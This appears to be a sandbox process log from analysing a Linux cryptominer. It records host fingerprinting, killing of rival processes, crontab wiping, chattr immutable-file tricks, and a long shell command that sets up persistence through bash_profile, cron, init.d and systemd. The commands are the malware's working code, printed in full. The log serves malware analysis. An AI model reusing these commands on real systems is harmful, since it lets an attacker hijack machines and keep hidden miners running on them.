    sh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""
    3⤵
    - Attempts to change immutable files
    PID:3220
  - - /usr/bin/whoami
      whoami
      4⤵
      PID:3231
  - - /usr/bin/hostname
      hostname
      4⤵
      PID:3232
  - - /usr/bin/grep
      grep -c "^processor" /proc/cpuinfo
      4⤵
      Checks CPU configuration
      PID:3233
- - /bin/sh
    sh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"
    3⤵
    PID:3249
  - - /usr/bin/awk
      awk "/[zZ]/ && !a[\$2]++ {print \$2}"
      4⤵
      PID:3251
  - - /usr/bin/ps
      ps -A "-ostat,ppid"
      4⤵
      Reads CPU attributes
      PID:3250
  - - /usr/bin/id
      id -u
      4⤵
      PID:3253
  - - /usr/bin/grep
      grep -v grep
      4⤵
      PID:3256
  - - /usr/bin/grep
      grep /etc/cron
      4⤵
      PID:3255
  - - /usr/bin/ps
      ps x
      4⤵
      PID:3254
- - /bin/sh
    sh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done else ps -u `whoami 2>/dev/null` ux | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"
    3⤵
    PID:3258
  - - /usr/bin/id
      id -u
      4⤵
      PID:3259
  - - /usr/bin/awk
      awk "{if(\$3>30.0) print \$2}"
      4⤵
      PID:3264
  - - /usr/bin/grep
      grep -v /usr/sbin/httpd
      4⤵
      PID:3263
  - - /usr/bin/grep
      grep -v -- "-bash[[:space:]]*\$"
      4⤵
      PID:3262
  - - /usr/bin/grep
      grep -v grep
      4⤵
      PID:3261
  - - /usr/bin/ps
      ps aux
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:3260
- - /bin/sh
    sh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then if [ `ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi else myid=`whoami 2>/dev/null`; if [ `ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi fi"
    3⤵
    PID:3266
  - - /usr/bin/id
      id -u
      4⤵
      PID:3267
- /usr/bin/crontab
  crontab -r
  2⤵
  PID:3846
- /usr/bin/pkill
  pkill -f .klibsystem5
  2⤵
  - Reads CPU attributes
  PID:3847
- /usr/bin/pkill
  pkill -f .klibsystem4
  2⤵
  - Reads CPU attributes
  PID:3848
- /usr/bin/bash
  bash -c "echo \"* * * * * /opt/.klibsystem5 >/dev/null 2>&1\" | crontab -"
  2⤵
  PID:3849
- - /usr/bin/crontab
    crontab -
    3⤵
    - Creates/modifies Cron job
    PID:3851
- /usr/bin/chattr
  chattr -ia /etc/cron.d/.lib-knlib4
  2⤵
  - Attempts to change immutable files
  PID:3852
- /usr/bin/chattr
  chattr +ia /etc/cron.d/.lib-knlib4
  2⤵
  PID:3853
- /usr/bin/chattr
  chattr -ia /var/spool/cron/.lib-knlib4
  2⤵
  - Attempts to change immutable files
  PID:3854
- /usr/bin/chattr
  chattr +ia /var/spool/cron/.lib-knlib4
  2⤵
  PID:3855
- /usr/bin/chattr
  chattr -ia /etc/cron.hourly/.lib-knlib4
  2⤵
  PID:3856
- /usr/bin/chattr
  chattr +ia /etc/cron.hourly/.lib-knlib4
  2⤵
  PID:3857
- /usr/bin/chattr
  chattr -ia /etc/cron.daily/.lib-knlib4
  2⤵
  PID:3858
- /usr/bin/chattr
  chattr +ia /etc/cron.daily/.lib-knlib4
  2⤵
  PID:3859
- /usr/bin/chattr
  chattr -ia /etc/cron.weekly/.lib-knlib4
  2⤵
  PID:3860
- /usr/bin/chattr
  chattr +ia /etc/cron.weekly/.lib-knlib4
  2⤵
  PID:3861
- /usr/bin/chattr
  chattr -ia /etc/cron.monthly/.lib-knlib4
  2⤵
  PID:3862
- /usr/bin/chattr
  chattr +ia /etc/cron.monthly/.lib-knlib4
  2⤵
  PID:3863
- /usr/bin/chattr
  chattr -ia /etc/anacrontab
  2⤵
  PID:3864
- /usr/bin/chattr
  chattr +ia /etc/anacrontab
  2⤵
  - Attempts to change immutable files
  PID:3865
- /tmp/sys-helper
  /tmp/sys-helper
  2⤵
  - Executes dropped EXE
  - Writes file to tmp directory
  PID:3866
- /tmp/service-agent
  /tmp/service-agent -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d -pwn
  2⤵
  - Executes dropped EXE
  - Checks CPU configuration
  - Checks hardware identifiers (DMI)
  - Reads hardware information
  - Enumerates kernel/hardware configuration
  PID:3867
- - /bin/sh
    sh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""
    3⤵
    - Attempts to change immutable files
    PID:3868
  - - /usr/bin/whoami
      whoami
      4⤵
      PID:3879
  - - /usr/bin/hostname
      hostname
      4⤵
      PID:3880
  - - /usr/bin/grep
      grep -c "^processor" /proc/cpuinfo
      4⤵
      Checks CPU configuration
      PID:3881
- - /bin/sh
    sh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"
    3⤵
    PID:3897
  - - /usr/bin/awk
      awk "/[zZ]/ && !a[\$2]++ {print \$2}"
      4⤵
      PID:3899
  - - /usr/bin/ps
      ps -A "-ostat,ppid"
      4⤵
      Reads runtime system information
      PID:3898
  - - /usr/bin/id
      id -u
      4⤵
      PID:3901
  - - /usr/bin/grep
      grep -v grep
      4⤵
      PID:3904
  - - /usr/bin/grep
      grep /etc/cron
      4⤵
      PID:3903
  - - /usr/bin/ps
      ps x
      4⤵
      PID:3902
- - /bin/sh
    sh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then SNIFFDIR='/bin';PWNDIR='/bin'; else rm -rf /tmp/.pwn 2>/dev/null;mkdir /tmp/.pwn 2>/dev/null;SNIFFDIR='/tmp/.pwn';PWNDIR='/tmp';fi;PWNRIG='pwnrig';PWNRIGE='pwnrige';PWNRIGL='pwnrigl';CROND='crondr';SYSD='sysdr';INITD='initdr';BPROFILE='bprofr';MINER='/tmp/service-agent';PROGRAM='-bash';if [ `id -u 2>/dev/null` -eq '0' ]; then chattr -i -a \$SNIFFDIR/\$BPROFILE ~/.bash_profile >/dev/null 2>&1;fi;rm -rf \$SNIFFDIR/\$BPROFILE 2>/dev/null;sed -i \"/\$BPROFILE/d\" ~/.bash_profile 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$BPROFILE 2>/dev/null;echo \"cp -f -r -- \$SNIFFDIR/\$BPROFILE \$PWNDIR/\$PROGRAM 2>/dev/null && \$PWNDIR/\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1 && rm -rf -- \$PWNDIR/\$PROGRAM 2>/dev/null\" >> ~/.bash_profile 2>/dev/null;if [ `id -u 2>/dev/null` -eq '0' ]; then chattr +i +a \$SNIFFDIR/\$BPROFILE ~/.bash_profile >/dev/null 2>&1;mkdir -p /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly 2>/dev/null;chattr -i -a /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$CROND 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$CROND 2>/dev/null;echo -e \"#!/bin/bash\\ncp -f -r -- \$SNIFFDIR/\$CROND \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/cron.d/\$PWNRIG /etc/cron.daily/\$PWNRIG /etc/cron.hourly/\$PWNRIG /etc/cron.monthly/\$PWNRIG /etc/cron.weekly/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/cron.*/\$PWNRIG 2>/dev/null;chmod +x /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND 2>/dev/null;chattr +i +a /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND >/dev/null 2>&1;if which chkconfig > /dev/null 2>&1; then chattr -i -a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;chkconfig \$PWNRIG off 2>/dev/null;chkconfig --del \$PWNRIG 2>/dev/null;rm -rf \$SNIFFDIR/\$INITD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$INITD 2>/dev/null;echo -e \"#!/bin/bash\\n#\\n# \$PWNRIG Start/Stop the \$PWNRIG clock daemon.\\n#\\n# chkconfig: 2345 90 60\\n# description: \$PWNRIG (by pwned)\\ncp -f -r -- \$SNIFFDIR/\$INITD \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d 2>/dev/null\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/init.d/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/init.d/\$PWNRIG 2>/dev/null;chmod +x /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD 2>/dev/null;chkconfig --add \$PWNRIG 2>/dev/null;chkconfig \$PWNRIG on 2>/dev/null;chattr +i +a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;fi;if which update-rc.d > /dev/null 2>&1; then chattr -i -a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;update-rc.d -f \$PWNRIG disable >/dev/null 2>&1;update-rc.d -f \$PWNRIG remove >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$INITD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$INITD 2>/dev/null;echo -e \"#!/bin/bash\\n### BEGIN INIT INFO\\n# Provides: \$PWNRIG\\n# Required-Start: \$all\\n# Required-Stop:\\n# Default-Start: 2 3 4 5\\n# Default-Stop:\\n# Short-Description: \$PWNRIG (by pwned)\\n### END INIT INFO\\ncp -f -r -- \$SNIFFDIR/\$INITD \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d 2>/dev/null\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/init.d/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/init.d/\$PWNRIG 2>/dev/null;chmod +x /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD 2>/dev/null;update-rc.d \$PWNRIG defaults >/dev/null 2>&1;update-rc.d \$PWNRIG enable >/dev/null 2>&1;chattr +i +a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;fi;if which systemctl > /dev/null 2>&1; then chattr -i -a /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service \$SNIFFDIR/\$SYSD >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$SYSD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$SYSD 2>/dev/null;echo -e \"[Unit]\\nDescription=\$PWNRIG\\n\\nWants=network.target\\nAfter=syslog.target network-online.target\\n\\n[Service]\\nType=forking\\nExecStart=/bin/bash -c 'cp -f -r -- \$SNIFFDIR/\$SYSD \$PWNDIR/\$PROGRAM 2>/dev/null && \$PWNDIR/\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1 && rm -rf -- \$PWNDIR/\$PROGRAM 2>/dev/null'\\nRestart=always\\nKillMode=process\\n\\n[Install]\\nWantedBy=multi-user.target\" | tee /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service >/dev/null;sed -i '1 s/-e //' /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service 2>/dev/null;chattr +i +a /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service \$SNIFFDIR/\$SYSD >/dev/null 2>&1;systemctl enable \$PWNRIGE.service 2> /dev/null;systemctl enable \$PWNRIGL.service 2> /dev/null;systemctl daemon-reload 2> /dev/null;systemctl reload-or-restart \$PWNRIGE.service 2> /dev/null;systemctl reload-or-restart \$PWNRIGL.service 2> /dev/null;fi;fi"
    3⤵
    - Writes file to tmp directory
    PID:3906
  - - /usr/bin/id
      id -u
      4⤵
      PID:3907
  - - /usr/bin/id
      id -u
      4⤵
      PID:3908
  - - /usr/bin/chattr
      chattr -i -a /bin/bprofr "~/.bash_profile"
      4⤵
      Attempts to change immutable files
      PID:3909
  - - /usr/bin/rm
      rm -rf /bin/bprofr
      4⤵
      PID:3910
  - - /usr/bin/sed
      sed -i /bprofr/d "~/.bash_profile"
      4⤵
      PID:3911
  - - /usr/bin/cp
      cp -f -r -- /tmp/service-agent /bin/bprofr
      4⤵
      Writes file to system bin folder
      PID:3912
  - - /usr/bin/id
      id -u
      4⤵
      PID:3913
  - - /usr/bin/chattr
      chattr +i +a /bin/bprofr "~/.bash_profile"
      4⤵
      PID:3914
  - - /usr/bin/mkdir
      mkdir -p /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly
      4⤵
      PID:3915
  - - /usr/bin/rm
      rm -rf /bin/initdr
      4⤵
      PID:4007
  - - /usr/bin/cp
      cp -f -r -- /tmp/service-agent /bin/initdr
      4⤵
      Writes file to system bin folder
      PID:4008
  - - /usr/bin/tee
      tee /etc/init.d/pwnrig
      4⤵
      Modifies init.d
      PID:4010
  - - /usr/bin/sed
      sed -i "1 s/-e //" /etc/init.d/pwnrig
      4⤵
      Modifies init.d
      PID:4011
  - - /usr/bin/chmod
      chmod +x /etc/init.d/pwnrig /bin/initdr
      4⤵
      PID:4012
  - - /usr/sbin/update-rc.d
      update-rc.d pwnrig defaults
      4⤵
      PID:4013
    - - /usr/local/sbin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:4014
    - - /usr/local/bin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:4014
    - - /usr/sbin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:4014
    - - /usr/bin/systemctl
        
        systemctl daemon-reload
        5⤵
        Reads EFI boot settings
        
        PID:4014
  - - /usr/sbin/update-rc.d
      update-rc.d pwnrig enable
      4⤵
      PID:4040
    - - /usr/local/sbin/systemctl
        
        systemctl --quiet enable pwnrig
        5⤵
        
        PID:4041
    - - /usr/local/bin/systemctl
        
        systemctl --quiet enable pwnrig
        5⤵
        
        PID:4041
    - - /usr/sbin/systemctl
        
        systemctl --quiet enable pwnrig
        5⤵
        
        PID:4041
    - - /usr/bin/systemctl
        
        systemctl --quiet enable pwnrig
        5⤵
        
        PID:4041
    - - /usr/local/sbin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:4042
    - - /usr/local/bin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:4042
    - - /usr/sbin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:4042
    - - /usr/bin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:4042
  - - /usr/bin/chattr
      chattr +i +a /etc/init.d/pwnrig /bin/initdr
      4⤵
      Attempts to change immutable files
      PID:4068
  - - /usr/bin/which
      which systemctl
      4⤵
      PID:4069
  - - /usr/bin/chattr
      chattr -i -a /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service /bin/sysdr
      4⤵
      PID:4070
  - - /usr/bin/rm
      rm -rf /bin/sysdr
      4⤵
      PID:4071
  - - /usr/bin/cp
      cp -f -r -- /tmp/service-agent /bin/sysdr
      4⤵
      Writes file to system bin folder
      PID:4072
  - - /usr/bin/tee
      tee /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service
      4⤵
      Modifies systemd
      PID:4074
  - - /usr/bin/sed
      sed -i "1 s/-e //" /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service
      4⤵
      PID:4075
  - - /usr/bin/chattr
      chattr +i +a /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service /bin/sysdr
      4⤵
      PID:4076
  - - /usr/bin/systemctl
      systemctl enable pwnrige.service
      4⤵
      Reads EFI boot settings
      PID:4077
  - - /usr/bin/systemctl
      systemctl enable pwnrigl.service
      4⤵
      Reads EFI boot settings
      PID:4103
  - - /usr/bin/systemctl
      systemctl daemon-reload
      4⤵
      Reads EFI boot settings
      PID:4129
  - - /usr/bin/systemctl
      systemctl reload-or-restart pwnrige.service
      4⤵
      Reads EFI boot settings
      PID:4166
- /tmp/service-agent
  /tmp/service-agent -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d
  2⤵
  - Executes dropped EXE
  - Checks CPU configuration
  - Checks hardware identifiers (DMI)
  - Reads hardware information
  - Enumerates kernel/hardware configuration
  - Writes file to tmp directory
  PID:4222
- - /bin/sh
    sh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""
    3⤵
    - Attempts to change immutable files
    PID:4246
  - - /usr/bin/whoami
      whoami
      4⤵
      PID:4257
  - - /usr/bin/hostname
      hostname
      4⤵
      PID:4258
  - - /usr/bin/grep
      grep -c "^processor" /proc/cpuinfo
      4⤵
      Checks CPU configuration
      PID:4259
- - /bin/sh
    sh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"
    3⤵
    PID:4275
  - - /usr/bin/awk
      awk "/[zZ]/ && !a[\$2]++ {print \$2}"
      4⤵
      PID:4277
  - - /usr/bin/ps
      ps -A "-ostat,ppid"
      4⤵
      PID:4276
  - - /usr/bin/id
      id -u
      4⤵
      PID:4279
  - - /usr/bin/grep
      grep -v grep
      4⤵
      PID:4282
  - - /usr/bin/grep
      grep /etc/cron
      4⤵
      PID:4281
  - - /usr/bin/ps
      ps x
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:4280
- - /bin/sh
    sh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done else ps -u `whoami 2>/dev/null` ux | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"
    3⤵
    PID:4284
  - - /usr/bin/id
      id -u
      4⤵
      PID:4285
  - - /usr/bin/awk
      awk "{if(\$3>30.0) print \$2}"
      4⤵
      PID:4290
  - - /usr/bin/grep
      grep -v /usr/sbin/httpd
      4⤵
      PID:4289
  - - /usr/bin/grep
      grep -v -- "-bash[[:space:]]*\$"
      4⤵
      PID:4288
  - - /usr/bin/grep
      grep -v grep
      4⤵
      PID:4287
  - - /usr/bin/ps
      ps aux
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:4286
- - /bin/sh
    sh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then if [ `ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi else myid=`whoami 2>/dev/null`; if [ `ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi fi"
    3⤵
    PID:4292
  - - /usr/bin/id
      id -u
      4⤵
      PID:4293

/usr/bin/nohup
nohup ./klibsystem5
1⤵
PID:1691

/usr/bin/klibsystem5
./klibsystem5
1⤵
PID:1691

/usr/bin/hostname
hostname -I
1⤵
PID:1840

/usr/bin/awk
awk "{print \$1}"
1⤵
PID:1842

/usr/bin/awk
awk "{print \"-\"\$2}"
1⤵
PID:1847

/usr/bin/head
head -n 1
1⤵
PID:1846

/usr/bin/grep
grep "Port "
1⤵
PID:1845

/usr/bin/cat
cat /etc/ssh/sshd_config
1⤵
PID:1844

/usr/bin/sed
sed -e "s/\$//"
1⤵
PID:1856

/usr/bin/sed
sed -e "s/^ *//"
1⤵
PID:1855

/usr/bin/cut
cut -d: -f2
1⤵
PID:1854

/usr/bin/grep
grep -m 1 "model name" /proc/cpuinfo
1⤵
- Checks CPU configuration
PID:1853

/usr/bin/awk
awk "{print \$1}"
1⤵
PID:1859

/usr/bin/awk
awk "{print \$4}"
1⤵
PID:1862

/usr/bin/awk
awk "{print \$4}"
1⤵
PID:1865

/usr/bin/hostname
hostname -I
1⤵
PID:2157

/usr/bin/awk
awk "{print \$1}"
1⤵
PID:2159

/usr/bin/awk
awk "{print \"-\"\$2}"
1⤵
PID:2164

/usr/bin/head
head -n 1
1⤵
PID:2163

/usr/bin/grep
grep "Port "
1⤵
PID:2162

/usr/bin/cat
cat /etc/ssh/sshd_config
1⤵
PID:2161

/usr/bin/sed
sed -e "s/\$//"
1⤵
PID:2173

/usr/bin/sed
sed -e "s/^ *//"
1⤵
PID:2172

/usr/bin/cut
cut -d: -f2
1⤵
PID:2171

/usr/bin/grep
grep -m 1 "model name" /proc/cpuinfo
1⤵
- Checks CPU configuration
PID:2170

/usr/bin/awk
awk "{print \$1}"
1⤵
PID:2176

/usr/bin/awk
awk "{print \$4}"
1⤵
PID:2179

/usr/bin/awk
awk "{print \$4}"
1⤵
PID:2182

/usr/bin/wc
wc -l
1⤵
PID:2207

/usr/bin/awk
awk "{if(\$3>30.0) print \$2}"
1⤵
PID:2206

/usr/bin/grep
grep -- "-bash[[:space:]]*\$"
1⤵
PID:2205

/usr/bin/grep
grep -v grep
1⤵
PID:2204

/usr/bin/ps
ps aux
1⤵
- Reads CPU attributes
- Reads runtime system information
PID:2203

/usr/bin/crontab
crontab -r
1⤵
PID:2339

/usr/bin/pkill
pkill -f .klibsystem5
1⤵
PID:2340

/usr/bin/pkill
pkill -f .klibsystem4
1⤵
- Reads runtime system information
PID:2341

/usr/bin/bash
bash -c "echo \"* * * * * /home/.klibsystem5 >/dev/null 2>&1\" | crontab -"
1⤵
PID:2342
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2344

/tmp/sys-helper
/tmp/sys-helper
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:2345

/tmp/service-agent
/tmp/service-agent -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d -pwn
